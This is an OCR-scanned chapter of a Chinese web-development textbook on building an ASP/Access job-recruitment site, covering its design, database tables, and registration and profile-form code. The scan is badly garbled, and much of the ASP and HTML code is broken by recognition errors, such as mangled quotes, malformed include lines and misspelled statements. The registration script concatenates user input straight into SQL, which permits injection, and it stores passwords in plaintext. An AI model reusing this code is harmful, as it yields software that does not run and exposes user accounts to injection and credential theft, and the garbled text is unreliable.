在 招聘 功能 上 ， 企 业 通 过 注册 成 为 企业 会 员 。 登 录 以 后 ， 可 以 发 布 企业 招聘 信息 、 查 看 会 员 的 求 
职 信息 、 设 置 企业 的 资料 等 内 容 。 

个 人 会 员 功能 的 实现 ， 求 职 者 通过 注册 ， 成 为 网 站 的 个 人 会 员 。 个 人 会 员 登 录 以 后 ， 可 以 查看 企 
业 发 布 的 招聘 信息 、 向 需要 的 招聘 信息 发 送 个 人 简历 、 管 理 自己 的 简历 等 功能 。 

网 站 还 需要 公告 发 布 、 招 聘 会 发 布 、 网 站 新 闻 等 内 容 ， 这 些 不 同 功能 版 块 之 间 存 在 各 种 逻辑 关系 。 
网 站 中 的 数据 关系 如 图 20-1 所 示 。 


20-1 招聘 网 站 的 功能 
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20.1.2 ”设计 网 页 Logo 


网 站 的 Logo 是 一 个 网 站 的 标志 ， 在 各 种 场合 都 需要 使 用 到 网 站 的 Logo。 一 个 求职 招聘 网 站 需要 
设计 出 一 个 有 创意 的 Logo 作为 网 站 的 品牌 标识 。 

网 站 的 Logo 首先 要 突出 网 站 的 功能 , 让 用 户 一 看 到 这 个 Logo 就 可 以 联想 到 网 站 求职 招聘 的 功能 。 
其 次 ， 网 站 的 Logo 需要 有 鲜明 的 色彩 与 内 容 。 在 很 多 Logo 链接 中 ， 能 够 吸引 用 户 的 注意 并 单 击 这 个 
Logo 链接 。 


20.1.3 设计 网 页 Banner 


求职 招聘 网 站 的 Banner 就 是 网 站 中 的 动画 ， 这 些 内 容 需 要 体现 网 站 中 的 内 容 与 网 站 主要 开展 的 特 
色 活动 。 

网 站 所 有 的 广告 中 ， 首 页 的 广告 是 最 主要 的 ， 需 要 美观 大 方 。 网 站 中 的 Banner 需要 体现 出 “眼球 
效应 ”， 可 以 做 成 动画 的 形式 ， 以 动态 的 效果 吸引 用 户 的 注意 力 ; 如 果 是 静态 图 片 ， 需 要 使 用 鲜明 的 
颜色 与 内 容 。 


20.2 在 Dreamweaver 中 制作 表格 结构 页 面 


在 制作 动态 网 站 之 前 ， 需 要 制作 出 网 站 的 效果 图 ， 并 用 Fireworks 切片 与 优化 ， 导 出 为 网 页 ， 然 后 
用 Dreamweaver 进行 网 页 的 布局 与 排版 。 


20.2.1 网 站 效果 图 的 设计 


在 进行 网 站 设计 之 前 ， 需 要 制作 出 网 站 的 效果 图 。 网 站 效果 图 就 是 对 网 站 的 风格 、 内 容 、 基 本 布 
局 进行 统一 规划 与 定位 。 如 果 只 在 Dreamweaver 中 进行 网 页 排版 ， 没 有 一 个 整体 规划 ， 是 很 难 排版 出 
美观 的 网 页 的 。 

求职 招聘 的 网 站 ， 颜 色 应 该 清淡 自然 ， 不 易 使 用 过 于 隆重 的 颜色 。 网 站 的 内 容 以 表现 企业 招聘 信 
个 人 求职 信息 为 主 ， 而 不 是 表现 出 网 站 中 出 色 的 个 性 色彩 与 美术 效果 。 
网 站 的 主 色调 ， 可 以 使 用 感觉 清淡 的 白色 或 淡 蓝 色 。 网 站 中 的 图 片 ， 可 以 搭配 蓝 色 、 深 红色 、 灰 
色 等 。 网 站 中 的 广告 、 图 片 等 需要 考虑 到 颜色 的 搭配 。 清 淡 的 网 页 中 搭配 一 些 较 深 的 颜色 可 以 表现 出 
很 好 的 视觉 对 比 效果 。 

在 网 站 效果 图 中 ， 需 要 考虑 到 网 站 Logo 的 布局 、 大 小 与 相应 布局 的 颜色 关系 等 ， 在 效果 图 中 很 好 
把 握 网 站 的 整体 颜色 与 布局 效果 。 

完成 网 站 效果 图 以 后 ， 需 要 使 用 Fireworks 对 效果 图 进行 切割 和 优化 ， 然 后 导出 为 网 页 。 


20.2.2 ”网 页 的 布局 


网 站 效果 图 导出 为 网 页 之 后 ， 需 要 使 用 Dreamweaver 对 网 页 进行 布局 与 排版 。 在 这 个 过 程 中 ， 参 


息 与 


aas mw a 


照 效 果 图 中 的 网 页 布局 与 效果 ， 用 Dreamweaver 的 相关 工具 ， 在 网 页 中 排版 出 这 些 效果 。 

在 进行 排版 时 ， 需 要 考虑 到 进行 网 站 编程 时 的 方便 性 。 动 态 网 站 的 内 容 是 通过 程序 动态 生成 的 ， 
进行 的 布局 设计 要 有 利于 网 站 程序 的 编写 。 

除了 对 首页 布局 与 排版 之 外 ， 还 需要 对 网 站 中 的 其 他 重要 网 页 进行 设计 与 布局 排版 。 


20.2.3 ”静态 网 页 与 动态 网 页 


在 ASP 网 站 的 服务 器 上 ， 静 态 网 站 与 动态 网 站 的 处 理 方式 是 不 一 样 的 。 静 态 网 站 的 扩展 名 是 .htm 
或 html， 用户 打开 网 页 时 ， 服 务 器 直接 向 用 户 发 送 这 个 网 页 。 动态 网 站 的 扩展 名 是 .asp， 用 户 在 请 求 这 
个 网 页 时 ， 服 务 器 会 解释 执行 整个 网 页 ， 完 成 数据 库 的 访问 ， 生 成 相关 的 网 页 HTML 代码 ， 然 后 将 生 
成 的 网 页 发 送 到 用 户 。 

但 是 在 网 页 文件 上 ， 静 态 网 页 与 动态 网 页 只 是 扩展 名 不 同 ， 实 质 上 都 是 文本 文件 。 如 果 把 静态 网 
页 的 扩展 名 改 为 .asp， 那 么 网 页 在 服务 器 上 就 是 动态 网 页 了 。 服 务 器 会 解释 网 页 中 的 程序 代码 。 如 果 把 
动态 网 页 的 扩展 名 改 为 .htm 或 .html, 那么 用 户 就 会 打开 没有 经 过 服务 器 运行 的 网 页 。 如 果 网 页 中 有 ASP 
代码 ， 则 网 页 中 会 直接 显示 ASP 代码 而 不 是 显示 运行 的 结果 。 

经 过 Dreamweaver 布局 排版 的 网 页 ， 只 需要 把 文件 保存 为 .asp 扩展 名 或 是 将 文件 的 扩展 名 更 改 
为 .asp， 就 是 动态 网 页 了 ， 然 后 可 以 在 动态 网 页 中 编写 ASP 程序 代码 。 


20.3 创建 数据 库 


招聘 求职 网 站 中 的 数据 内 容 比较 复杂 ， 有 企业 会 员 、 个 人 会 员 、 招 聘 信息 、 求 职 信息 、 招 聘 会 信 
息 、 网 站 新 闻 等 数据 内 容 。 这 些 数据 有 很 强 的 逻辑 关系 。 

因此 , 在 设计 这 个 网 站 时 需要 详细 分 析 每 类 数据 和 其 他 数据 的 逻辑 关系 ， 画 出 这 些 数据 的 关系 图 。 
根据 这 些 关系 合 理 地 设置 不 同 表 的 字段 ， 建 立 这 些 数据 表 。 


20.3.1 设计 数据 表 结 构 


在 这 个 网 站 中 ， 可 能 有 的 数据 内 容 如 下 。 

回 ”企业 会 员 信息 : 记录 已 经 注册 的 企业 会 员 ， 包 括 各 种 企业 信息 。 

回 ”企业 招聘 信息 : 企业 会 员 发 送 的 招聘 信息 ， 与 企业 会 员 有 逻辑 关系 。 

回 ”个 人 会 员 信息 : 个 人 会 员 注册 信息 ， 详 细 记 录 个 人 求职 的 信息 和 个 人 资料 ， 可 以 根据 这 些 信 
息 生 成 个 人 简历 。 

加 ”个 人 会 员 向 企业 发 送 的 简历 : 个 人 会 员 查 看 招聘 信息 以 后 可 以 向 此 招聘 信息 发 送 应 聘 简历 ， 
和 个 人 会 员 、 企 业 会 员 、 企 业 招 聘 信息 有 逻辑 联系 。 

回 ”网 站 公告 信息 : 网 站 的 各 种 公告 和 新 闻 信 息 ， 这 些 信息 由 管理 员 管 理 。 

回 ”网 站 管理 员 信息 : 网 站 管理 员 的 登录 信息 ， 实 现 网 站 的 权限 管理 。 

回 ”招聘 会 信息 : 网 站 管理 员 发 布 的 招聘 会 信息 。 

各 种 数据 的 关系 如 图 20-2 所 示 。 


@ 
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图 20-2 网 站 的 数据 关系 表 


有 了 这 些 数 据 关 系 后 ， 即 可 设计 数据 库 的 表 。 在 设计 数据 表 时 ， 需 要 根据 数据 实际 需要 设置 各 个 
数据 的 字段 和 字段 的 数据 类 型 。 
表 t_com 用 来 保存 企业 用 户 的 注册 信息 。 表 中 的 字段 如 表 20-1 所 示 。 
表 20-1 数据 库 表 t_com 的 字段 
字 段 名 数据 类 型 字段 长 度 保存 数据 内 容 
id 自动 编号 = 自动 编号 
Usemame 文本 50 用 户 名 
password 文本 50 登录 口令 
comname 文本 50 公司 名 称 
tel 文本 30 联系 电话 
address 文本 80 公司 地 址 
email 文本 40 电子 信箱 
touch 文本 30 联系 人 
website 文本 40 企业 网 站 
com info 备注 二 企业 简介 
com category 文本 40 企业 性 质 
addtime 文本 50 注册 时 间 
hits 整 型 二 登录 次 数 
lastlogin 文本 50 最 后 登录 时 间 
表 users 用 来 保存 个 人 用 户 的 注册 信息 。 表 中 的 字段 如 表 20-2 所 示 。 
表 20-2 数据库 表 users 的 字段 
字 段 名 数据 类 型 字段 长 度 保存 数据 内 容 
id 自动 编号 = 自动 编号 
username 文本 50 用 户 名 
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字 段 名 数据 类 型 字段 长 度 保存 数据 内 容 
Password 文本 50 登录 口令 
truename, 文本 50 真实 姓名 
tel 文本 30 联系 电话 
address 文本 80 公司 地 址 
email 文本 40 电子 信箱 
language 文本 40 外 语 情况 
school 文本 50 毕业 学 校 
education 文本 40 学 历 
info 备注 = 个 人 简介 
Subject 文本 40 所 学 专业 
wantwork 文本 200 希望 从 事 的 工作 
addtime 文本 50 注册 时 间 
hits 整 型 = 登录 次 数 
lastlogin 文本 50 最 后 登录 时 间 

表 alljobs 用 来 保存 企业 用 户 发 布 的 招聘 会 。 表 中 的 字段 如 表 20-3 所 示 。 
表 20-3 ”数据库 表 alljobs 中 的 字段 

字 段 名 数据 类 型 字段 长 度 保存 数据 内 容 
id 自动 编号 二 自动 编号 
com id 整 型 企业 ID 号 
title 文本 100 标题 
content 备注 三 招聘 要 求 
Subject 文本 100 招聘 学 科 
howmany 整 型 二 招聘 人 数 
addtime 文本 50 注册 时 间 
hits 整 型 a 点 击 次 数 
howlong 文本 50 有 效 时 间 


表 users_getjob 用 来 保存 个 人 会 员 向 招聘 信息 发 送 的 个 人 求职 信息 。 表 中 的 字段 如 表 20-4 所 示 。 
表 20-4 数据库 表 users_getjob 的 字段 
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字 段 名 数据 类 型 保存 数据 内 容 
id 自动 编号 自动 编号 
job id 整 型 招聘 信息 外 号 
addtime 文本 注册 时 间 
info 备注 备注 信息 
表 news 用 来 保存 网 站 公告 。 表 中 的 字段 如 表 20-5 所 示 。 
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表 20-5 数据 库 表 news 的 字段 


字 段 名 保存 数据 内 容 
id 自动 编号 
itle 标题 
content 内 容 
addtime 添加 时 间 
hits 点 击 次 数 


表 meeting_info 用 来 保存 招聘 会 信息 。 表 中 的 字段 如 表 20-6 所 示 。 
表 20-6 ”数据库 表 meeting_info 的 字段 


保存 数据 内 容 
自动 编号 
招聘 会 时 间 


thetime 
address 


content 


添加 时 间 


addtime 


20.3.2 连接 数据 库 


同 其 他 的 ASP 网 站 数据 连接 一 样 ， 网 站 中 需要 连接 Access 数据 库 时 ， 可 以 使 用 下 面 的 代码 。 
<% 
DIM CONNSTR,CONN 
CONNSTR = "DBQ=" + SERVER.MAPPATH("DATABASE/MYDB.ACCDB") + ";DRIVER={MICROSOFT 
ACCESS DRIVER (*.MDB,*.ACCDB)}" 
SET CONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") 
CONN.OPEN CONNSTR 
%> 
在 数据 库 连接 文件 中 ， 需 要 把 SERVER.MAPPATH("DATABASE/MYDB.ACCDB") 中 的 数据 库 路 
径 改 为 网 站 实际 的 数据 库 路 径 ， 然 后 将 这 个 文件 保存 为 conn.asp。 使 用 数据 库 连 接 的 网 页 只 需要 包含 
这 个 文件 。 


20.3.3 会 员 的 注册 


招聘 求职 类 的 网 站 ， 为 了 加 强权 限 的 管理 和 增强 会 员 功 能 ， 需 要 制作 会 员 注册 功能 。 会 员 注册 并 
登录 以 后 ， 才 可 以 使 用 网 站 的 某 些 功能 。 

在 会 员 注册 功能 中 ， 可 以 把 个 人 会 员 与 企业 会 员 存放 在 同一 个 表 中 ， 用 一 个 字段 区 分 是 个 人 会 员 
还 是 企业 会 员 。 这 个 表 中 还 存放 会 员 的 联系 方式 等 基本 信息 ， 需 要 有 一 个 字段 来 表示 会 员 的 权限 级 别 。 
会 员 注册 网 页 的 代码 如 下 : 
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<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 注 册 </title> 
<link href="css.css" rel="stylesheet" type="text/css"> 
</head> 
<body> 
<form name="form1" method="post" action="regsave.asp"> 
<table width="279" border="1" align="center cellspacing="4" bordercolor="#CCCCCC"> 
<tr> 
<td colspan="2" class="title"><div align="center"> 会 员 注 册 </div></td> </tr> 
<tr> 
<td width="69"> 用 户 名 </td><td width="188"><input name="username" type="text" id="username"></td> 
</tr> 
<tr> 
<td> 口 令 </td> <td><input name="userpass" type="text" id="userpass"></td> </tr> 
<tr> 
<td> 重 复 口 令 </td> <td><input name="userpass1" type="text" id="userpass1"></td> </tr> 
<tr> 
<td>QQ</td> <td><input name="qq" type="text" id="qq"></td> </tr> 
<tr> 
<td>EMAIL</td> <td><input name="email" type="text" id="email"></td> </tr> 
<tr> 
<td> 会 员 类 型 </td> <td><input name="usertype" type="radio" value="1" checked> 
个 人 会 员 <inputtype="radio" name="usertype" value="2"> ”企业 会 员 </td> </tr> 
<tr> 
<td>&nbsp;</td> <td><input type="submit" name="Submit" value=" 提 交 "></td> </tr> 
</table> 
</form> 
</body> 
</html> 


用 户 在 填写 好 注册 信息 以 后 ， 单 击 “ 提 交 ” 按 钮 ， 将 把 这 个 网 页 的 注册 信息 发 送 到 会 员 注册 保存 


的 网 页 。 在 保存 会 员 时 ， 需 要 先 验证 这 个 会 员 的 名 称 是 不 是 已 经 被 占用 ， 验 证 会 员 名 与 口令 是 不 是 有 


信息 
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如 果 出 现 无 效 字 段 ， 则 会 转 跳 到 出 错 网 页 ， 并 提示 出 错 原因 。 如 果 填 写 的 信息 正确 ， 则 保存 注册 
\。 相 关 代 码 如 下 : 


<!--#include file="conn.asp"—> 

<% 

dim username,userpass,userpass1 ' 定 义 变量 取得 相关 的 值 

username = trim(request("username")) 

Userpass = trim(request("userpass")) 

Userpass1 = trim(request("userpass1")) 

if username = " or userpass = "" then 判断 用 户 名 与 口令 是 否 为 空 
response.Redirect("err.asp?info= 用 户 名 或 口令 不 可 为 空 ") 

endif 

ifuserpass <> userpass1 then 判断 两 次 输入 的 口令 是 否 相同 
response.Redirect("err asp?info= 两 次 输入 的 口令 必须 相同 ") 

endif 


第 20 章 设计 制作 招聘 求职 网 


Set rs =Server.CreateObject("Adodb.RecordSet") “' 定 义 查询 指针 
Sql = "select * from users where username =" & username & "™ 
rs.open sql,conn,1,1 
if not rs.eof then 判断 是 否 用 户 名 同名 
response.Redirect("err.asp?info= 已 经 有 此 用 户 ， 请 选择 其 他 用 户 名 。") 
rs.close 
end if 
Set rs =Server.CreateObject("Adodb.RecordSet") “定义 查询 指针 
sql = "select* from users " 可 以 注册 的 数据 
rs.open sql,conn,1,3 
rs.addnew 
rs("username") = username 
rs("userpass") = userpass 
rs("qq") = request("qq") 
rs("email") = request("email") 
rs("addtime") = now() 
rs("usertype") = request("usertype") 
rs.update 
rs.close 
Response.Write(" 注 册 成 功 。") 
%> 


注册 网 页 的 效果 如 图 20-3 所 示 。 在 实际 操作 时 ， 除 了 这 些 最 基本 的 功能 之 外 ， 还 需要 制作 出 友好 
美观 的 网 页 效果 。 


知 注册 - Windows Internet 
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20-3 会 员 注册 网 页 


20.3.4 个 人 会 员 填 写 资料 


会 员 注册 以 后 ， 还 需要 登录 并 填写 会 员 资 料 。 
个 人 会 员 与 企业 会 员 所 需要 填写 的 资料 是 不 同 的 ， 所 以 在 数据 库 表 中 需要 分 开 存放 。 在 网 页 中 也 
需要 使 用 不 同 的 网 页 实现 会 员 资料 的 填写 。 在 数据 库 中 ， 会 员 表 中 的 一 条 数据 会 对 应 会 员 资料 表 中 的 


一 条 


数据 
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数据 。 

个 人 会 员 需 要 填写 个 人 专业 、 求 职 行业 、 学 历 、 个 人 资料 、 求 职 信 等 内 容 。 

学 科 、 求 职 行业 等 数据 ， 需 要 有 一 个 固定 的 范围 ， 因 此 需要 在 数据 库 中 建立 相关 的 表 。 网 页 会 从 
库 中 查找 ， 生 成 下 拉 菜 单 的 选项 ， 用 户 直 接 从 下 拉 菜 单 中 选取 内 容 。 

下 面 是 个 人 会 员 资料 填写 网 页 的 代码 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--##include file="conn.asp"—> 
<html><head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 个 人 信息 填写 </title> 
<link href="css.css" rel="stylesheet" type="text/css"> 
</head> 
<body> 
<form name="form1" method="post" action="user_info_save.asp"> 
<table width="568" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr> 
<td colspan="2"><div align="center"> 个 人 会 员 信 息 </div></td> </tr> 
<tr> 
<td width="99"> 真 实 姓名 </td><td width="463"><input name="username" type="text" id="username"> 
</td> 
</tr> 
<tr> ”<td> 毕 业 学 校 </td> <td><input name="school" type="text" id="school"></td> </tr> 
<tr> ”<td> 所 学 专业 </td> <td><input name="lesson" type="text" id="lesson"></td> </tr> 
<tr> ”<td> 毕 业 时 间 </td> <td><input name="biye" type="text" id="biye"></td> </tr> 
<tr> ”<td> 外 语 能 力 </td> <td><input name="language" type="text" id="language"></td> </tr> 
<tr> ”td> 计 算 机 能 力 </td> <td><input name="computer type="text" id="computer"></td> </tr> 
<tr> ” <td> 求职 专业 </td> <td><select name="subject" id="subject"> 
<option ”selected> 请 选择 </option> 
<%Set rs =Server.CreateObject("Adodb.RecordSet") “定义 查询 指针 
sql = "select * from subject" 
rs.open sql,conn,1,1 
while not rs.eof %> 
<option value="<%= rs("subject") %>"><%= rs("subject") %></option> 
<% rs.movenext 
wend 
Ts.close %> 
</select></td> </tr> 
<tr> <td> 求 职工 作 </td> 
<td><select name="works" id="works"> 
<option ”> 请 选择 </option> 
<%Set rs =Server.CreateObject("Adodb.RecordSet") “定义 查询 指针 
Sql = "select * from works” 
rs.open sql,conn,1,1 
While not rs.eof %> 
<option value="<%= rs("works") %>"><%= rs("works") %></option> 
<% rs.movenext 
wend 
rs.close %> 
</select></td> 
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</tr> 


<tr><td> 工 作 经 历 </td><td><textarea name="history”cols="60" rows="3” id="history"></textarea></td> 
</tr> 
<tr><td> 个 人 简介 </td> <td><textarea name="info" cols="60" rows="3" id="info"></textarea></td> </tr> 
<tr><td> 求 职 信 </td><td><textarea name="letter cols="60" rows="10" id="letter"></textarea></td> </tr> 
<tr> <td colspan="2"><div align="center"> <input type="submit" name="Submit" value=" 提 交 "> 
</div></td> </tr> 
</table> 
</form> 
</body> 
</html> 


如 图 20-4 所 示 为 这 个 网 页 的 运行 效果 。 填 写 相关 的 会 员 信息 后 单 击 “ 提 交 ” 按 钮 ， 即 可 提交 会 员 
的 资料 。 


真实 姓名 Et 
二 业 党校 医 汉 天 学 

所 学 专业 下 
毕 和 kb 时 间 [oe 


外 语 能 力 
计算 机 能 力 卫生 
求职 专业 [FT 要 机 习 
求职 工作 [大 全 工作 习 


重生 这 同 绢 公司 天 司 翌 
工作 经 历 管 做 过 兼职 程序 员 由 
[ 奈 大 朗 节 该 书 写作 本 
个 人 简介 有 很 好 的 网 络 编程 基础 
到 
工 玖 求 了 从 是 
者 教 的 公司 领导 
求职 入 
I 


20-4 个 人 会 员 提交 资料 


用 户 提 交 这 个 网 页 以 后 ， 需 要 有 一 个 网 页 来 处 理 这 些 数 据 ， 将 用 户 提交 的 数据 保存 到 数据 库 中 。 
下 面 是 保存 用 户 提交 资料 的 代码 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 

<!--##include file="conn.asp"—> 

<%function tohtml(str) "定义 字符 转换 函数 

dim str1 

str1= replace(str," ","&nbsp.,") 

str1= replace(str1,vbcerif,"<br>") 

tohtml = str1 

end function 

Set rs =Server.CreateObject("Adodb.RecordSet") 
Sql = "select * from user_info where userid = " & session("userid") 
rs.open sql,conn,1,1 "如 果 有 用 户 就 保存 资料 ， 没 有 用 户 就 新 建 一 个 用 户 
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inot rs.eofthen 
rs.close 
Set rs =Server.CreateObject("Adodb.RecordSet") 
Sql = "select * from user_info" 
rs.open sql,conn,1,3 
rs.addnew 新 建 一 个 用 户 的 资料 
rs("userid") = session("userid") 
else 
rs.close 
Set rs =Server.CreateObject("Adodb.RecordSet") 
Sql = "select * from user_info where userid = " & session("userid") 
rs.open sql,conn,1,3 
end if 
rs("username")= trim(request("username' ")) 
rs("subject")= trim(request("subject )) 
rs("works")= trim(request("works")) 
rs("computer")= trim(request("computer")) 
rs("lesson")= trim(request("lesson")) 
rs("info")= tohtml(trim(request("info"))) 
rs("letter")= tohtml(trim(request("letter"))) 
rs("history")= tohtml(trim(request("history"))) 
rs("biye")= trim(request("biye")) 
rs("school")= trim(request("school")) 
rs.update "保存 一 个 用 户 的 数据 
Ts.close 
Response.Write(" 个 人 资料 保存 成 功 。") 
%> 


.3.5 ”企业 会 员 填写 资料 


如 同 个 人 会 员 一 样 ， 企 业 会 员 也 需要 填写 与 更 新 企业 资料 ， 用 户 在 应 聘 时 需 查看 这 些 企业 资料 。 
企业 资料 包括 企业 类 型 、 企 业 简 介 、 联 系 方式 等 内 容 。 企 业 会 员 要 在 登录 以 后 自己 完成 信息 的 添 


加 与 修改 。 下 面 是 企业 会 员 资 料 添加 的 网 页 代码 。 
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<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 

<!--#include file="conn.asp"--> 

<html> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 企 业 信 息 填写 </title> 

<link href="css.css" rel="stylesheet" type="text/css"> 

</head> 


<body> 
<form name="form1" method="post" action="user_info_com_save.asp"> 
<table width="568" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr> <td colspan="2"><div align="center"> 企 业 会 员 信 息 </div></td> </tr> 
<tr><td width="99"> 企 业 名 称 </td><td width="463"><input name="comname" type="text" id="comname"> 
</td></tr> 
<tr> <td> 公 司 地 址 </td> <td><input name="address" type="text" id="address"></td> </tr> 
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<tr> <td> 成 立时 间 </td> <td><input name="foundtime" type="text" id="foundtime"></td> </tr> 
<tr> <td> 现 有 职员 </td> <td><input name="member type="text" id="member"></td> </tr> 
<tr> <td> 公 司 性 质 </td> <td> 
<select name="comcate" id="comcate"> 
<option value=" 私 营 企业 " selected> 私 营 企 业 </option> 
<option value=" 国 有 企业 "> 国有 企业 </option> 
<option value=" 外 资 企 业 "> 外 资 企 业 </option> 
<option value=" 台 资 企业 "> 台 资 企业 </option> 
<option value=" 合 资 企 业 "> 合 资 企业 </option> 
</select></td> </tr> 
<tr> <td> 联 系 电话 </td> <td><input name="tel" type="text" id="tel"></td> </tr> 
<tr> <td> 所 属 行业 </td> <td><select name="subject" id="subject"> 
<option ”selected> 请 选择 </option> 
<% Set rs =Server.CreateObject("Adodb.RecordSet") “定义 查询 指针 
Sql = "select * from subject" 
rs.open sql,conn,1,1 
while not rs.eof 
%> 
<option value="<%= rs("subject") %>"><%= rs("subject") %></option> 
<% rs.movenext 
wend 
rs.close  %> 
</select></td> </tr> 
<tr><td> 公 司 简介 </td><td><textarea name="info" cols="60" rows="10" id="info"></textarea></td></tr> 
<tr> <td colspan="2"><div align="center"><input type="submit" name="Submit" value=" 提 交 "> </div> 
</td> </tr> 
</table> 
</form> 
</body> 
</html> 


如 图 20-5 所 示 为 这 个 网 页 的 运行 效果 。 


企业 名 称 
公司 地 址 
成 立时 间 
现 有 职员 
公司 性 质 私营 企业 司 
联系 电话 
所 尾行 业 请 选择 到 
习 
公司 简介 
| 
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20-5 ”企业 信息 填写 
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用 户 提交 信息 以 后 ,需要 有 一 个 文件 保存 用 户 提 交 的 信息 。 下 面 的 程序 将 会 处 理 用 户 提交 的 信息 
把 用 户 信 息 提 交 到 数据 库 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<I--##nclude file="conn.asp"—> 
<% 
function tohtml(str) 
dim str1 
str1= replace(str," ","&nbsp;") 
str1= replace(str1,vbcerlf,"<br>") 
tohtml = str1 
end function 
Set rs =Server.CreateObject("Adodb.RecordSet") 
Sql = "select * from com_info where comid = " & session("comid") 
rs.open sql,conn,1,1 
if rs.eof then ' 同 个 人 用 户 一 样 的 处 理 是 否 有 这 个 会 员 的 问题 
rs.close 
Set rs =Server.CreateObject("Adodb.RecordSet") 
sql = "select * from com_info" 
rs.open sql,conn,1,3 
rs.addnew 
rs("comid") = session("comid") 
else 
rs.close 
Set rs =Server.CreateObject("Adodb.RecordSet") 
Sql = "select * from com_info where comid = " & session("comid") 
rs.open sql,conn,1,3 
end if 
rs("comname")= trim(request("comname")) 
rs("subject")= trim(request("subject")) 
rs("address")= trim(request("address")) 
rs("foundtime")= trim(request("foundtime")) 
rs("member")= trim(request("member")) 
rs("comcate")= trim(request("comcate")) 
rs("info")= tohtml(trim(request("info"))) 
rs("tel")= trim(request("tel")) 
rs.update 
rs.close "保存 会 员 的 资料 
Response.Write(" 企 业 资 料 保存 成 功 。") 
%> 


20.3.6 ”企业 会 员 发 布 招聘 信息 


在 求职 招聘 网 站 中 ， 企 业 会 员 登 录 以 后 ， 需 要 自己 完成 发 布 招聘 信息 的 工作 。 这 个 功能 是 通过 表 
提交 与 数据 保存 来 实现 的 。 用 户 登录 以 后 ， 填 写 招聘 信息 ， 单 击 “ 提 交 ” 按 钮 以 后 ， 后 台 程序 将 招 
聘 信 息 保存 到 数据 库 。 网 页 代码 如 下 : 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--##include file="conn.asp"—> 
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<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title> 发 布 招聘 信息 </title> 
<link href="css.css" rel="stylesheet" type="text/css"> 
</head> 
<body> 
<form name="form1" method="post" action="user_need_save.asp"> 
<table width="568" border="1" align="center cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> 
<tr> <td colspan="2"><div align="center"> 企 业 发 布 招聘 信 息 </div></td> </tr> 
<tr><td width="99"> 招 聘 职 位 </td><td width="463"><input name="jobname" type="text" id="jobname"></td> 
</tr> 
<tr><td> 招 聘 人 数 </td><td><input name="howmany" type="text" id="howmany” value="10" size="10"> 
人 </td> </tr> 
<tr> <td> 有 效 时 间 </td> <td> 
<select name="totime" id="totime"> 
<option value=" 一 周 " selected> 一 周 </option> 
<option value=" 两 周 "> 两 周 </option> 
<option value=" 一 个 月 "> 一 个 月 </option> 
<option value=" 三 个 月 "> 三 个 月 </option> 
<option value=" 长 期 "> 长 期 </option> 
</select></td> </tr> 
<tr> <td> 所 属 专 业 </td> <td><select name="subject" id="subject"> 
<option ”selected> 请 选择 </option> 
<% Set rs =Server.CreateObject("Adodb.RecordSet") “定义 查询 指针 
Sql = "select * from subject" 
rs.open sql,conn,1,1 
while not rs.eof 
%> <option value="<%= [rs("subject") %>"><%= rs("subject") %></option> 
<% rs.movenext 
wend 
rs.close %> 
</select></td> </tr> 
<tr> <td> 工 作 类 型 </td> <td> 
<select name="Works" id="works"> 
<option selected ”> 请 选择 </option> 
<%Set rs =Server.CreateObject("Adodb.RecordSet") “' 定 义 查询 指针 
Sql = "select * from works" 
rs.open sql,conn,1,1 
while not rs.eof %> 
<option value="<%= rs("works") %>"><%= rs("works") %></option> 
<% rs.movenext 
wend 
rs.close %> 
</select></td> </tr> 
<tr><td> 招 聘 要 求 </td><td><textarea name="info" cols="60" rows="10" id="info"></textarea></td></tr> 
<tr><td colspan="2"><div align="center><input type="submit” name="Submit” value=" 提 交 "> 
</div></td> </tr> 
</table> 
</form> 
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</body> 
</html> 


如 图 20-6 所 示 为 这 个 网 页 的 运行 效果 。 


至 二 政和 到了 全 起 
招聘 职位 陕 帮工 程 师 
招聘 人数 四 人 
珊 时 间 三 再 可 
所 属 专业 [fg 机 可 
工作 类 型 大 品 呈 用 可 
大 尝 二 科 或 以 上 。 梧 
| 外语 四 级 或 以 上 。 
| 有 JAYA 开 发 能 力 。 
招聘 要 求 
到 


图 20-6 企业 发 布 招聘 信息 


当 用 户 单 击 “ 提 交 ” 按 钮 以 后 ， 需 要 有 一 个 文件 来 处 理 和 保存 招聘 信息 。 下 面 是 保存 招聘 信息 的 
代码 。 


<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<!--#include file="conn.asp"--> 
<% 
function tohtml(str) "定义 字符 过 滤 函 数 
dim str1 
str1= replace(str," ","&nbsp;") 
str1= replace(str1,vbcerlf,"<br>") 
tohtml = str1 
end function 
Set rs =Server.CreateObject("Adodb.RecordSet") "定义 查询 指针 
Sql = "select* from jobs" 
rs.addnew "添加 一 个 新 信息 记录 
rs("comid") = session("comid") 
rs(jobname")= trim(request("jobname")) 
rs("subject")= trim(request("subject")) 
rs("works")= trim(request("works")) 
rs("howmany")= trim(request("howmany")) 
rs("info")= tohtml(trim(request("info"))) 
rs("totime")= trim(request("totime"”)) 
rs.update 
rs.close 
Response.Write(" 招 聘 信息 发 布 成 功 。") 
%> 


20.3.7 个 人 会 员 查 看 招聘 信息 与 发 送 求职 


在 招聘 求职 网 站 中 ， 个 人 会 员 查 看 企业 招聘 信息 和 向 企业 发 送 企 业 招聘 信息 是 整个 网 站 的 重 ; 


@ 


是 
By 
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在 这 一 模块 中 ， 需 要 查询 多 个 数据 表 ， 每 个 数据 表 中 的 数据 存在 一 定 的 逻辑 联系 。 在 网 站 的 设计 中 ， 

需要 正确 处 理 这 些 关 系 ， 正 确 地 生成 企业 招聘 信息 页 面 和 用 户 投 送 简历 页 面 。 
在 网 站 的 首页 或 者 招聘 信息 页 会 有 招聘 信息 列表 ， 单 击 招聘 信息 后 会 显示 出 招聘 信息 。 
